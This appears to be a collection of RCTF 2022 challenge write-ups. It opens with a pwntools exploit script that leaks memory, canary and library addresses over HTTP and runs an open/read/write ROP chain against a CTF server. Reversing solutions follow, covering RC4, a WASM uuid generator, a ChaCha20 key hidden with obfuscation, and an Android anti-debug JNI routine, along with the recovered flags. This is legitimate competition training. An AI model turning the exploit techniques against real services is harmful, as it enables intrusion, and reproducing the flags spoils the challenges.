rn = lambda x : io.recvn(x)
sn = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda a,b : io.sendafter(a,b)
sla = lambda a,b : io.sendlineafter(a,b)
irt = lambda : io.interactive()
dbg = lambda text=None : gdb.attach(io, text)
lg = lambda s : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.rjust(4, '\x00'))
uu64 = lambda data : u64(data.rjust(8, '\x00'))
def get_method(url, ip):
sl("GET %s HTTP/1.1" % url)
sl("Host: %s" % ip)
sl("")
def post_method(url, ip, content):
sl("POST %s HTTP/1.1" % url)
sl("Host: %s" % ip)
sl("Content-Length: %d" % len(content))
sl("")
sn(content)
def ip2long(ip):
packedIP = socket.inet_aton(ip)
return u32(packedIP, endian='big')
def long2ip(num):
packedIP = p32(num, endian='big')
return socket.inet_ntoa(packedIP)
def login(ip, name):
get_method('/login.html?UserName=%s'%name, ip)
ru('<h1>Success</h1></HTML>\r\n')
def check(ip):
get_method('/query.html?PassWord=1L0V3ctf', ip)
ru('<HTML><TITLE>Query Success</TITLE>\r\n<h1>')
content = ru(' logged in')
if content == 'Not':
return 1
elif content == 'Already':
return 0
def history(ip):
get_method('/history.html?PassWord=RCTF2022', ip)
def logout(ip, masterkey):
post_method('/logout.html', ip, p64(masterkey))
ru('<h1>Success</h1></HTML>\r\n')
def leak_byte(off):
base = ip2long('10.12.31.0')
offset = base + 8*off
ret = 0
for x in xrange(8):
ret += check(long2ip(offset+x)) << x
return ret
def leak_buf(off, length):
buf = ''
for x in xrange(length):
buf += chr(leak_byte(off+x))
return buf
def write_byte(off, val, before, masterkey):
base = ip2long('10.12.31.0')
offset = base + 8*off
for x in xrange(8):
Abit = (val & (1<<x))
Bbit = (before & (1<<x))
if Abit!=Bbit:
if Abit == 0:
login(long2ip(offset+x), 'A'*3)
else:
logout(long2ip(offset+x), masterkey)
def write_buf(off, val, before, masterkey):
for i in xrange(len(val)):
write_byte(off+i, ord(val[i]), ord(before[i]), masterkey)
masterkey = u64(leak_buf(-0xa88, 8))
lg('masterkey')
write_buf(-0xa90+4, p32(0x80000080), p32(0), masterkey)
history('10.12.31.0')
ru('<h1>Logined UserName</h1>\n\n<HTML>')
rn(0x408-63)
canary = uu64(rn(8))
lg('canary')
rn(8)
binary_base = uu64(rn(8)) - 0x49ba
lg('binary_base')
write_buf(-0xa98+8+4, p32(0x00000000), p32(0x80000080), masterkey)
heap_base = u64(leak_buf(-0xa88+8, 8)) - 0x2c0
lg('heap_base')
libc_base = u64(leak_buf(-0xa88-0x328, 8)) - libc.sym['exit']
lg('libc_base')
rdi_ret = libc_base + 0x000000000002a3e5
rsi_ret = libc_base + 0x000000000002be51
rdx_r12_ret = libc_base + 0x000000000011f497
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
# write_addr = libc_base + libc.sym['write']
wirte_plt = binary_base + 0x1214
write_buf(-8, p64(canary), p64(0), masterkey)
canary_addr = binary_base + 0x9d50
ipbase = ip2long('10.12.31.0')
login(long2ip(ipbase+0), p64(rdx_r12_ret))
login(long2ip(ipbase+1), p64(rdi_ret))
login(long2ip(ipbase+2), p64(rsi_ret))
login(long2ip(ipbase+3), './flag\x00\x00')
login(long2ip(ipbase+4), p64(open_addr))
login(long2ip(ipbase+5), p64(read_addr))
login(long2ip(ipbase+6), p64(wirte_plt))
login(long2ip(ipbase+7), p64(1))
login(long2ip(ipbase+8), p64(3))
login(long2ip(ipbase+9), p64(0x60))
login(long2ip(ipbase+10), p64(heap_base+0x360))
login(long2ip(ipbase+11), p64(heap_base+0x480))
for x in xrange(0x76-2-12-4):
login(long2ip(ipbase+12+x), 'A'*8)
write_buf(-0xa90+4, p32(0x00), p32(0x70), masterkey)
write_buf(-0xa90+4, p32(0x90), p32(0x04), masterkey)
for x in xrange(6):
write_buf(-0x6d0+8*x, p64(canary_addr), p64(0), masterkey)
write_buf(-0x6d0+8*6, p64(heap_base+0x320), p64(0), masterkey)
write_buf(-0x6d0+8*7, p64(heap_base+0x440), p64(0), masterkey)
write_buf(-0x6d0+8*8, p64(heap_base+0x340), p64(0), masterkey)
write_buf(-0x6d0+8*9, p64(heap_base+0x3f0), p64(0), masterkey)
write_buf(-0x6d0+8*10, p64(heap_base+0x380), p64(0), masterkey)
write_buf(-0x6d0+8*11, p64(heap_base+0x320), p64(0), masterkey)
write_buf(-0x6d0+8*12, p64(heap_base+0x400), p64(0), masterkey)
write_buf(-0x6d0+8*13, p64(heap_base+0x340), p64(0), masterkey)
write_buf(-0x6d0+8*14, p64(heap_base+0x460), p64(0), masterkey)
write_buf(-0x6d0+8*15, p64(heap_base+0x300), p64(0), masterkey)
write_buf(-0x6d0+8*16, p64(heap_base+0x420), p64(0), masterkey)
write_buf(-0x6d0+8*17, p64(heap_base+0x3f0), p64(0), masterkey)
write_buf(-0x6d0+8*18, p64(heap_base+0x3a0), p64(0), masterkey)
write_buf(-0x6d0+8*19, p64(heap_base+0x320), p64(0), masterkey)
write_buf(-0x6d0+8*20, p64(heap_base+0x3e0), p64(0), masterkey)
write_buf(-0x6d0+8*21, p64(heap_base+0x340), p64(0), masterkey)
write_buf(-0x6d0+8*22, p64(heap_base+0x460), p64(0), masterkey)
write_buf(-0x6d0+8*23, p64(heap_base+0x300), p64(0), masterkey)
write_buf(-0x6d0+8*24, p64(heap_base+0x420), p64(0), masterkey)
write_buf(-0x6d0+8*25, p64(heap_base+0x3f0), p64(0), masterkey)
write_buf(-0x6d0+8*26, p64(heap_base+0x3c0), p64(0), masterkey)
write_buf(-0x6d0+8*27, p64(canary_addr), p64(0), masterkey)
history('10.12.31.0')
irt()
K999
https://www.yuque.com/zeroaone/heasgb/zf2ma4ydkckkkg4l?singleDoc#
REVERSE
RTTT
design ideas
This challenge is implemented using rust. It uses a fixed value 0xdeadbeaf as a random number seed to generate a fixed random number sequence, saves the sequences to a binary tree, takes sequences from the tree, and encrypts it with RC4.
solving ideas
Take out the final array for comparison, analyze the rc4 key as Welc0me to RCTF 2O22
, and decrypt it to get the inorder sequence.
Obtain the sequence generated by random numbers, construct a binary tree, and correspond the characters to the nodes of the binary tree according to the inorder sequence, and you can get all anses.
There is also a tricky way, input independent characters similar to 0123456789, and dump the intermediate results, because the structure of the book is not affected by the input, so this sequence is always consistent. That is to say, players may not need to recognize that this is a binary tree
script
strings = "C7DD9165-R-72--}332DE0CBEF9C{1776T7DF3DCEF" #RC4解密得出
ans = [0 for i in range(len(strings))]
#seqs可通过patch程序得出,也可在树计算时,通过dump结构体得出
seqs = [-2091641032, -2046454592, -1985917687, -1909886606, -1862332742, -1670362469, -1650023164, -1630749574, -1618425137, -1484038898, -1421416298, -1237053726, -889544633, -813276956, -795429122, -780199959, -725443101, -635881578, -469727653, -453240343, -230139231, -206202292, -203550029, -160789208, -154347808, -45466512, 72417704, 77001130, 375086303, 461491043, 508046036, 644364267, 805054946, 924029679, 1032556020, 1544573214, 1733736026, 1754418720, 1895732982, 1933626194, 2033366609, 2084056329]
for i in range(len(seqs)):
ans[seq.index(seqs[i])] = strings[i]
flag = ""
for i in ans:
flag += i
print(flag)
flag
RCTF{03C3E9B2-E37F-2FD6-CD7E-57C91D77DD61}
web_run
I have given 3 files.And I renamed the file named ez_ca.wasm to ez_wasm.2 . rename it and open the file with jeb demo rr other decompile software.Of course, if you are familiar with wasm and emcc, you can also open the program directly with emcc run.
First we need to enter a time
Here, we will convert the timestamp in the correct format we entered into a number.
__f6 weill create random .__f9()will create the uuid which we need.
You can solve this problem in many ways.
First, you can change the judgment of the timestamp, bypass the check, generate a uuid, and perform dynamic debugging to obtain the data in memory.
If you are very insistent on manual reverse, you can sort out the logic of generating uuid.
Here I give you the source code and the way to generate the project. Interested friends can try it by themselves. The challenges are relatively simple.
#include<stdio.h>
#include<string.h>
#include<time.h>
#include<unistd.h>
#include<stdlib.h>
int right_time = 0;
void initial(unsigned long long i){
srand(i);
}
int getrand(){
return rand()%(16);
}
char int_2_char(int a){
if(a>=0&&a<=9){
return ('0'+a);
}
else{
switch(a)
{
case 10:return 'a';break;
case 11:return 'b';break;
case 12:return 'c';break;
case 13:return 'd';break;
case 14:return 'e';break;
case 15:return 'f';break;
}
}
return '0';
}
char * creatuuid(char * uuid){
for(int i=0;i<36;i++){
if(uuid[i]=='4' || uuid[i]=='-'){
continue;
}
else if(uuid[i]=='x'){
uuid[i] = int_2_char(getrand());
}
else {
uuid[i] = int_2_char(3 & getrand() | 8);
}
}
return uuid;
}
unsigned long long get_time(){
unsigned long long year,mon,day,hour,min,ans;
char ss[20] ="";
read(0,ss,20);
right_time=0;
sscanf(ss,"%llu/%llu/%llu %llu:%llu",&year,&mon,&day,&hour,&min);
ans = min+hour*100+day*10000+mon*1000000+year*100000000;
if(ans == 202211110054)
{
puts("This is one of the best && happy moments for me. I won't let you pass!");
_exit(0);
}
printf("%llu\n",ans);
return ans;
}
int main(){
char uuid[] = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx";
char msg[] = "yyyyyyyy-yyyy-0yyy-xyyy-yyyyyyyyyyyy";
initial(get_time());
creatuuid(uuid);
puts("input the ca_value:");
read(0,msg,36);
if(!memcmp(uuid,msg,36)){
if(!right_time)
{
puts("right value,But the time is not the time I want to hide");
}
puts("go ahead!!");
}
else{
puts("error!");
}
return 0;
}
It is worth mentioning that if you directly use gcc or g++to compile code, it will be different from the uuid generated by emcc.
how to make&run
emcc ./ez_ca.c -s WASM=1 -o ./ez_ca.html
emrun --port 8080 ./ez_ca.html
RCTF{40959ea7-26e0-4c9d-8f4a-62faf14ff392}
checkserver
design ideas
The challenge implements a check server that can parse http requests from clients and supports GET and POST request methods.
The checkserver can parse and verify the authcookie of the POST request, and the correct authcookie is the flag.
The verification of authcookie is based on the chacha20 encryption algorithm, and the sigma characteristic value is modified. The chacha_keysetup function is used to set the key. But the key parameter when calling is a false key. The real key is reset in this function, and the key modification part is hidden based on flower instructions and exception handling. And at the same time, flower instructions are used to perform code obfuscation.
solution
Reverse the checkserver binary program, analyze authcookie processing logic, and reverse chacha20 algorithm.
Patch the flower instructions and exception handling part, get the real key, so as to get the correct authcookie, and send the post to the checkserver.
$ ./crack
flag{1b90d90564a58e667319451d1cb6ef}
$ curl -H "Content-Type: application/json" -X POST -d 'authcookie=flag{1b90d90564a58e667319451d1cb6ef}' "http://127.0.0.1:8080/index.html"
script
/*********************************************************************
* Copyright (c) 2016 Jonas Schnelli *
* Distributed under the MIT software license, see the accompanying *
* file COPYING or http://www.opensource.org/licenses/mit-license.php.*
**********************************************************************/
#include <assert.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
struct chacha_ctx {
uint32_t input[16];
};
/* $OpenBSD: chacha.c,v 1.1 2013/11/21 00:45:44 djm Exp $ */
typedef unsigned char u8;
typedef unsigned int u32;
typedef struct chacha_ctx chacha_ctx;
#define U8C(v) (v##U)
#define U32C(v) (v##U)
#define U8V(v) ((u8)(v)&U8C(0xFF))
#define U32V(v) ((u32)(v)&U32C(0xFFFFFFFF))
#define ROTL32(v, n) (U32V((v) << (n)) | ((v) >> (32 - (n))))
#define U8TO32_LITTLE(p) \
(((u32)((p)[0])) | ((u32)((p)[1]) << 8) | ((u32)((p)[2]) << 16) | \
((u32)((p)[3]) << 24))
#define U32TO8_LITTLE(p, v) \
do { \
(p)[0] = U8V((v)); \
(p)[1] = U8V((v) >> 8); \
(p)[2] = U8V((v) >> 16); \
(p)[3] = U8V((v) >> 24); \
} while (0)
#define ROTATE(v, c) (ROTL32(v, c))
#define XOR(v, w) ((v) ^ (w))
#define PLUS(v, w) (U32V((v) + (w)))
#define PLUSONE(v) (PLUS((v), 1))
#define QUARTERROUND(a, b, c, d) \
a = PLUS(a, b); \
d = ROTATE(XOR(d, a), 16); \
c = PLUS(c, d); \
b = ROTATE(XOR(b, c), 12); \
a = PLUS(a, b); \
d = ROTATE(XOR(d, a), 8); \
c = PLUS(c, d); \
b = ROTATE(XOR(b, c), 7);
static const char sigma[16] = "be1dfd2dc3388169";
static const char tau[16] = "expand 16-byte k";
void chacha_keysetup(chacha_ctx *x, u8 *k, u32 kbits) {
const char *constants;
u8 i = 0;
for(i = 0; i<32; i++)
{
k[i] = i + 0x11;
}
x->input[4] = U8TO32_LITTLE(k + 0);
x->input[5] = U8TO32_LITTLE(k + 4);
x->input[6] = U8TO32_LITTLE(k + 8);
x->input[7] = U8TO32_LITTLE(k + 12);
if (kbits == 256) { /* recommended */
k += 16;
constants = sigma;
} else { /* kbits == 128 */
constants = tau;
}
x->input[8] = U8TO32_LITTLE(k + 0);
x->input[9] = U8TO32_LITTLE(k + 4);
x->input[10] = U8TO32_LITTLE(k + 8);
x->input[11] = U8TO32_LITTLE(k + 12);
x->input[0] = U8TO32_LITTLE(constants + 0);
x->input[1] = U8TO32_LITTLE(constants + 4);
x->input[2] = U8TO32_LITTLE(constants + 8);
x->input[3] = U8TO32_LITTLE(constants + 12);
}
void chacha_ivsetup(chacha_ctx *x, const u8 *iv, const u8 *counter) {
x->input[12] = counter == NULL ? 0 : U8TO32_LITTLE(counter + 0);
x->input[13] = counter == NULL ? 0 : U8TO32_LITTLE(counter + 4);
x->input[14] = U8TO32_LITTLE(iv + 0);
x->input[15] = U8TO32_LITTLE(iv + 4);
}
void chacha_encrypt_bytes(chacha_ctx *x, const u8 *m, u8 *c, u32 bytes) {
u32 x0, x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11, x12, x13, x14, x15;
u32 j0, j1, j2, j3, j4, j5, j6, j7, j8, j9, j10, j11, j12, j13, j14, j15;
u8 *ctarget = NULL;
u8 tmp[64];
uint32_t i;
if (!bytes)
return;
j0 = x->input[0];
j1 = x->input[1];
j2 = x->input[2];
j3 = x->input[3];
j4 = x->input[4];
j5 = x->input[5];
j6 = x->input[6];
j7 = x->input[7];
j8 = x->input[8];
j9 = x->input[9];
j10 = x->input[10];
j11 = x->input[11];
j12 = x->input[12];
j13 = x->input[13];
j14 = x->input[14];
j15 = x->input[15];
for (;;) {
if (bytes < 64) {
if (m != NULL) {
for (i = 0; i < bytes; ++i) {
tmp[i] = m[i];
}
m = tmp;
}
ctarget = c;
c = tmp;
}
x0 = j0;
x1 = j1;
x2 = j2;
x3 = j3;
x4 = j4;
x5 = j5;
x6 = j6;
x7 = j7;
x8 = j8;
x9 = j9;
x10 = j10;
x11 = j11;
x12 = j12;
x13 = j13;
x14 = j14;
x15 = j15;
for (i = 20; i > 0; i -= 2) {
QUARTERROUND(x0, x4, x8, x12)
QUARTERROUND(x1, x5, x9, x13)
QUARTERROUND(x2, x6, x10, x14)
QUARTERROUND(x3, x7, x11, x15)
QUARTERROUND(x0, x5, x10, x15)
QUARTERROUND(x1, x6, x11, x12)
QUARTERROUND(x2, x7, x8, x13)
QUARTERROUND(x3, x4, x9, x14)
}
x0 = PLUS(x0, j0);
x1 = PLUS(x1, j1);
x2 = PLUS(x2, j2);
x3 = PLUS(x3, j3);
x4 = PLUS(x4, j4);
x5 = PLUS(x5, j5);
x6 = PLUS(x6, j6);
x7 = PLUS(x7, j7);
x8 = PLUS(x8, j8);
x9 = PLUS(x9, j9);
x10 = PLUS(x10, j10);
x11 = PLUS(x11, j11);
x12 = PLUS(x12, j12);
x13 = PLUS(x13, j13);
x14 = PLUS(x14, j14);
x15 = PLUS(x15, j15);
if (m != NULL) {
x0 = XOR(x0, U8TO32_LITTLE(m + 0));
x1 = XOR(x1, U8TO32_LITTLE(m + 4));
x2 = XOR(x2, U8TO32_LITTLE(m + 8));
x3 = XOR(x3, U8TO32_LITTLE(m + 12));
x4 = XOR(x4, U8TO32_LITTLE(m + 16));
x5 = XOR(x5, U8TO32_LITTLE(m + 20));
x6 = XOR(x6, U8TO32_LITTLE(m + 24));
x7 = XOR(x7, U8TO32_LITTLE(m + 28));
x8 = XOR(x8, U8TO32_LITTLE(m + 32));
x9 = XOR(x9, U8TO32_LITTLE(m + 36));
x10 = XOR(x10, U8TO32_LITTLE(m + 40));
x11 = XOR(x11, U8TO32_LITTLE(m + 44));
x12 = XOR(x12, U8TO32_LITTLE(m + 48));
x13 = XOR(x13, U8TO32_LITTLE(m + 52));
x14 = XOR(x14, U8TO32_LITTLE(m + 56));
x15 = XOR(x15, U8TO32_LITTLE(m + 60));
}
j12 = PLUSONE(j12);
if (!j12) {
j13 = PLUSONE(j13);
/* stopping at 2^70 bytes per nonce is user's responsibility */
}
U32TO8_LITTLE(c + 0, x0);
U32TO8_LITTLE(c + 4, x1);
U32TO8_LITTLE(c + 8, x2);
U32TO8_LITTLE(c + 12, x3);
U32TO8_LITTLE(c + 16, x4);
U32TO8_LITTLE(c + 20, x5);
U32TO8_LITTLE(c + 24, x6);
U32TO8_LITTLE(c + 28, x7);
U32TO8_LITTLE(c + 32, x8);
U32TO8_LITTLE(c + 36, x9);
U32TO8_LITTLE(c + 40, x10);
U32TO8_LITTLE(c + 44, x11);
U32TO8_LITTLE(c + 48, x12);
U32TO8_LITTLE(c + 52, x13);
U32TO8_LITTLE(c + 56, x14);
U32TO8_LITTLE(c + 60, x15);
if (bytes <= 64) {
if (bytes < 64) {
for (i = 0; i < bytes; ++i)
ctarget[i] = c[i];
}
x->input[12] = j12;
x->input[13] = j13;
return;
}
bytes -= 64;
c += 64;
if (m != NULL) {
m += 64;
}
}
}
// target: 2e,de,94,c2,41,8f,e3,fa,fb,10,4f,96,64,bf,2d,e3,96,f1,6c,a1,6b,b6,9a,94,fb,70,3f,4b,4b,7e,35,c7,10,90,57,cb
int main(void)
{
struct chacha_ctx ctx;
uint8_t iv[8] = {0,};
unsigned int i = 0;
uint8_t result[36]= {0xe6, 0xf7, 0x74, 0x9f, 0x05, 0xab, 0x1a, 0x50, 0xbf, 0x28, 0xb6, 0xe6, 0xa4, 0x9e, 0x7f, 0x0d, 0x22, 0xac, 0x76, 0x60, 0xfd, 0xa6, 0x90, 0x5e, 0x91, 0xb4, 0x76, 0xa3, 0x8d, 0x43, 0x88, 0x35, 0xf4, 0xe0, 0x37, 0x6a};
unsigned char* flag=(unsigned char*)malloc(0x40);
memcpy(flag,result,36);
const uint8_t key[32]={0x37, 0x39, 0x37, 0x62, 0x64, 0x31, 0x37, 0x31, 0x37, 0x66, 0x64, 0x35, 0x64, 0x64, 0x36, 0x34, 0x66, 0x63, 0x64, 0x31, 0x66, 0x39, 0x38, 0x39, 0x32, 0x32, 0x62, 0x31, 0x65, 0x30, 0x64, 0x33};
chacha_ivsetup(&ctx, iv, NULL);
chacha_keysetup(&ctx, key,256);
chacha_encrypt_bytes(&ctx, flag, flag, 36);
printf("%s",flag);
}
CheckYourKey
1
After installing the application, open it and it will display as shown in the figure. Random input will prompt an error. It is obviously a crackme-like challenge. You need to reverse the correct input. It should be the flag.
2
Use jadx to open the apk, you can quickly locate the specific logic of clicking the button.
((Button) findViewById(R.id.checkButton)).setOnClickListener(new View.OnClickListener() { // from class: com.ctf.CheckYourKey.MainActivity.1
@Override // android.view.View.OnClickListener
public void onClick(View view) {
if (MainActivity.ooxx(inputEditText.getText().toString())) {
new AlertDialog.Builder(MainActivity.context).setTitle("result").setMessage("Congratulations!").show();
new Thread(new Runnable() { // from class: com.ctf.CheckYourKey.MainActivity.1.1
@Override // java.lang.Runnable
public void run() {
try {
Thread.sleep(5000);
} catch (InterruptedException e) {
e.printStackTrace();
}
System.exit(0);
}
}).start();
return;
}
new AlertDialog.Builder(MainActivity.context).setTitle("result").setMessage("Sorry,wrong key ,app is exiting.....").show();
inputEditText.setText("");
new Thread(new Runnable() { // from class: com.ctf.CheckYourKey.MainActivity.1.2
@Override // java.lang.Runnable
public void run() {
try {
Thread.sleep(5000);
} catch (InterruptedException e) {
e.printStackTrace();
}
System.exit(0);
}
}).start();
}
});
Therefore, it is only necessary to reverse the ooxx function in the MainActivity class. This function is a jni function and is declared as follows:
public native String stringFromJNI();
static {
System.loadLibrary("CheckYourKey");
}
You can see the application loads the libCheckYourKey.so module is loaded, so you only need to reverse engineer the module.
3
Unzip the apk, you can see that the app only provides 64-bit libCheckYourKey.so. Open it with ida, you can directly locate the statically registered jni function at the beginning of java in the export function, as shown in the figure below:
At the same time, you can see that the so file contains the JNI_OnLoad function. After F5 for this function, the code is as follows:
jint JNI_OnLoad(JavaVM *vm, void *reserved)
{
__int64 v2; // x3
__int64 v3; // x3
__int64 v4; // x3
__int64 v6; // [xsp+1A8h] [xbp-CF8h]
jint v8; // [xsp+1C4h] [xbp-CDCh]
size_t v9; // [xsp+1DCh] [xbp-CC4h]
int v10; // [xsp+1ECh] [xbp-CB4h]
unsigned int fd; // [xsp+2A4h] [xbp-BFCh]
struct dirent *v12; // [xsp+2A8h] [xbp-BF8h]
DIR *dirp; // [xsp+2B0h] [xbp-BF0h]
struct dirent *v14; // [xsp+368h] [xbp-B38h]
DIR *v15; // [xsp+370h] [xbp-B30h]
size_t v16; // [xsp+41Ch] [xbp-A84h]
int v17; // [xsp+42Ch] [xbp-A74h]
unsigned int v18; // [xsp+4E4h] [xbp-9BCh]
struct dirent *v19; // [xsp+4E8h] [xbp-9B8h]
DIR *v20; // [xsp+4F0h] [xbp-9B0h]
struct dirent *v21; // [xsp+5A8h] [xbp-8F8h]
DIR *v22; // [xsp+5B0h] [xbp-8F0h]
size_t v23; // [xsp+65Ch] [xbp-844h]
int v24; // [xsp+66Ch] [xbp-834h]
unsigned int v25; // [xsp+724h] [xbp-77Ch]
struct dirent *v26; // [xsp+728h] [xbp-778h]
DIR *v27; // [xsp+730h] [xbp-770h]
struct dirent *v28; // [xsp+7E8h] [xbp-6B8h]
DIR *v29; // [xsp+7F0h] [xbp-6B0h]
__int64 v30; // [xsp+888h] [xbp-618h] BYREF
__int64 v31; // [xsp+890h] [xbp-610h] BYREF
__int64 v32; // [xsp+898h] [xbp-608h] BYREF
__int64 v33; // [xsp+8A0h] [xbp-600h] BYREF
char v34[16]; // [xsp+8A8h] [xbp-5F8h] BYREF
int v35; // [xsp+8B8h] [xbp-5E8h]
__int64 v36; // [xsp+928h] [xbp-578h] BYREF
__int64 v37; // [xsp+930h] [xbp-570h] BYREF
__int64 v38; // [xsp+938h] [xbp-568h] BYREF
char v39[16]; // [xsp+940h] [xbp-560h] BYREF
int v40; // [xsp+950h] [xbp-550h]
__int64 v41; // [xsp+9C0h] [xbp-4E0h] BYREF
__int64 v42; // [xsp+9C8h] [xbp-4D8h] BYREF
__int64 v43; // [xsp+9D0h] [xbp-4D0h] BYREF
char v44[16]; // [xsp+9D8h] [xbp-4C8h] BYREF
int v45; // [xsp+9E8h] [xbp-4B8h]
int v46; // [xsp+A58h] [xbp-448h] BYREF
char v47; // [xsp+A5Ch] [xbp-444h]
__int128 v48; // [xsp+A60h] [xbp-440h] BYREF
__int64 (__fastcall *v49)(); // [xsp+A70h] [xbp-430h]
char v50[512]; // [xsp+A80h] [xbp-420h] BYREF
__int128 v51; // [xsp+C80h] [xbp-220h] BYREF
__int128 v52; // [xsp+C90h] [xbp-210h]
__int128 v53; // [xsp+CA0h] [xbp-200h]
__int128 v54; // [xsp+CB0h] [xbp-1F0h]
__int128 v55; // [xsp+CC0h] [xbp-1E0h]
__int128 v56; // [xsp+CD0h] [xbp-1D0h]
__int128 v57; // [xsp+CE0h] [xbp-1C0h]
__int128 v58; // [xsp+CF0h] [xbp-1B0h]
__int128 v59; // [xsp+D00h] [xbp-1A0h]
__int128 v60; // [xsp+D10h] [xbp-190h]
__int128 v61; // [xsp+D20h] [xbp-180h]
__int128 v62; // [xsp+D30h] [xbp-170h]
__int128 v63; // [xsp+D40h] [xbp-160h]
__int128 v64; // [xsp+D50h] [xbp-150h]
__int128 v65; // [xsp+D60h] [xbp-140h]
__int128 v66; // [xsp+D70h] [xbp-130h]
__int128 v67; // [xsp+D80h] [xbp-120h] BYREF
__int128 v68; // [xsp+D90h] [xbp-110h]
__int128 v69; // [xsp+DA0h] [xbp-100h]
__int128 v70; // [xsp+DB0h] [xbp-F0h]
__int128 v71; // [xsp+DC0h] [xbp-E0h]
__int128 v72; // [xsp+DD0h] [xbp-D0h]
__int128 v73; // [xsp+DE0h] [xbp-C0h]
__int128 v74; // [xsp+DF0h] [xbp-B0h]
__int128 v75; // [xsp+E00h] [xbp-A0h]
__int128 v76; // [xsp+E10h] [xbp-90h]
__int128 v77; // [xsp+E20h] [xbp-80h]
__int128 v78; // [xsp+E30h] [xbp-70h]
__int128 v79; // [xsp+E40h] [xbp-60h]
__int128 v80; // [xsp+E50h] [xbp-50h]
__int128 v81; // [xsp+E60h] [xbp-40h]
__int128 v82; // [xsp+E70h] [xbp-30h]
_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2));
v9 = strlen(byte_41088);
v2 = 0LL;
v10 = linux_eabi_syscall(__NR_openat, -100, byte_41094, 0);
if ( v10 >= 1 )
{
while ( (int)sub_11810((unsigned int)v10, v50, 512LL, v2) >= 1 )
{
if ( strstr(v50, a3Z) )
dword_0 = 100;
v66 = 0u;
v65 = 0u;
v64 = 0u;
v63 = 0u;
v62 = 0u;
v61 = 0u;
v60 = 0u;
v59 = 0u;
v58 = 0u;
v57 = 0u;
v56 = 0u;
v55 = 0u;
v54 = 0u;
v53 = 0u;
v52 = 0u;
v51 = 0u;
v47 = 0;
v46 = 0;
if ( sscanf(v50, byte_410B0, &v32, &v31, &v46, &v33, &v51) == 5
&& (unsigned __int8)v46 == 114
&& HIBYTE(v46) == 112
&& !v33
&& strlen((const char *)&v51)
&& (unsigned __int8)v51 != 91
&& (unsigned __int64)(v31 - v32) > 0xF4240
&& !(unsigned int)sub_11AC8(&v51, aDJ)
&& strstr((const char *)&v51, aZ) != (char *)&v51
&& (unsigned int)sub_116D0(v32, v31, byte_41088, v9) == 1 )
{
dword_0 = 100;
break;
}
}
}
dirp = opendir((const char *)off_41050);
if ( dirp )
{
while ( 1 )
{
v12 = readdir(dirp);
if ( !v12 )
break;
v66 = 0u;
v65 = 0u;
v64 = 0u;
v63 = 0u;
v62 = 0u;
v61 = 0u;
v60 = 0u;
v59 = 0u;
v58 = 0u;
v57 = 0u;
v56 = 0u;
v55 = 0u;
v54 = 0u;
v53 = 0u;
v52 = 0u;
v51 = 0u;
if ( strcmp(v12->d_name, byte_410DC) )
{
if ( strcmp(v12->d_name, byte_410E0) )
{
snprintf((char *)&v51, 0x100u, (const char *)off_41058, v12->d_name);
fd = linux_eabi_syscall(__NR_openat, -100, (const char *)&v51, 0x80000);
if ( fd )
{
v82 = 0u;
v81 = 0u;
v80 = 0u;
v79 = 0u;
v78 = 0u;
v77 = 0u;
v76 = 0u;
v75 = 0u;
v74 = 0u;
v73 = 0u;
v72 = 0u;
v71 = 0u;
v70 = 0u;
v69 = 0u;
v68 = 0u;
v67 = 0u;
sub_11F14(fd, &v67, 256LL, 0LL);
if ( strstr((const char *)&v67, (const char *)off_41060)
|| strstr((const char *)&v67, (const char *)off_41068) )
{
dword_0 = 100;
}
close(fd);
}
}
}
}
closedir(dirp);
}
v15 = opendir(off_41070);
if ( v15 )
{
while ( 1 )
{
v14 = readdir(v15);
if ( !v14 )
break;
v66 = 0u;
v65 = 0u;
v64 = 0u;
v63 = 0u;
v62 = 0u;
v61 = 0u;
v60 = 0u;
v59 = 0u;
v58 = 0u;
v57 = 0u;
v56 = 0u;
v55 = 0u;
v54 = 0u;
v53 = 0u;
v52 = 0u;
v51 = 0u;
v82 = 0u;
v81 = 0u;
v80 = 0u;
v79 = 0u;
v78 = 0u;
v77 = 0u;
v76 = 0u;
v75 = 0u;
v74 = 0u;
v73 = 0u;
v72 = 0u;
v71 = 0u;
v70 = 0u;
v69 = 0u;
v68 = 0u;
v67 = 0u;
snprintf((char *)&v67, 0x100u, byte_410F0, v14->d_name);
lstat((const char *)&v67, (struct stat *)v34);
if ( (v35 & 0xF000) == 40960 )
{
linux_eabi_syscall(__NR_readlinkat, -100, (const char *)&v67, (char *)&v51, 0x100u);
if ( strstr((const char *)&v51, (const char *)off_41078) )
dword_0 = 100;
}
}
}
v30 = 0LL;
closedir(v15);
if ( (unsigned int)sub_17B34(vm, &v30, 65542LL) )
{
v8 = -1;
}
else
{
v6 = sub_17B80(v30, &unk_41190);
v49 = sub_8965;
v48 = *(_OWORD *)&off_3DD00;
sub_17BC4(v30, v6, &v48, 1LL);
v16 = strlen(byte_41088);
v3 = 0LL;
v17 = linux_eabi_syscall(__NR_openat, -100, byte_41094, 0);
if ( v17 >= 1 )
{
while ( (int)sub_11810((unsigned int)v17, v50, 512LL, v3) >= 1 )
{
if ( strstr(v50, a3Z) )
dword_0 = 100;
v66 = 0u;
v65 = 0u;
v64 = 0u;
v63 = 0u;
v62 = 0u;
v61 = 0u;
v60 = 0u;
v59 = 0u;
v58 = 0u;
v57 = 0u;
v56 = 0u;
v55 = 0u;
v54 = 0u;
v53 = 0u;
v52 = 0u;
v51 = 0u;
v47 = 0;
v46 = 0;
if ( sscanf(v50, byte_410B0, &v37, &v36, &v46, &v38, &v51) == 5
&& (unsigned __int8)v46 == 114
&& HIBYTE(v46) == 112
&& !v38
&& strlen((const char *)&v51)
&& (unsigned __int8)v51 != 91
&& (unsigned __int64)(v36 - v37) > 0xF4240
&& !(unsigned int)sub_11AC8(&v51, aDJ)
&& strstr((const char *)&v51, aZ) != (char *)&v51
&& (unsigned int)sub_116D0(v37, v36, byte_41088, v16) == 1 )
{
dword_0 = 100;
break;
}
}
}
v20 = opendir((const char *)off_41050);
if ( v20 )
{
while ( 1 )
{
v19 = readdir(v20);
if ( !v19 )
break;
v66 = 0u;
v65 = 0u;
v64 = 0u;
v63 = 0u;
v62 = 0u;
v61 = 0u;
v60 = 0u;
v59 = 0u;
v58 = 0u;
v57 = 0u;
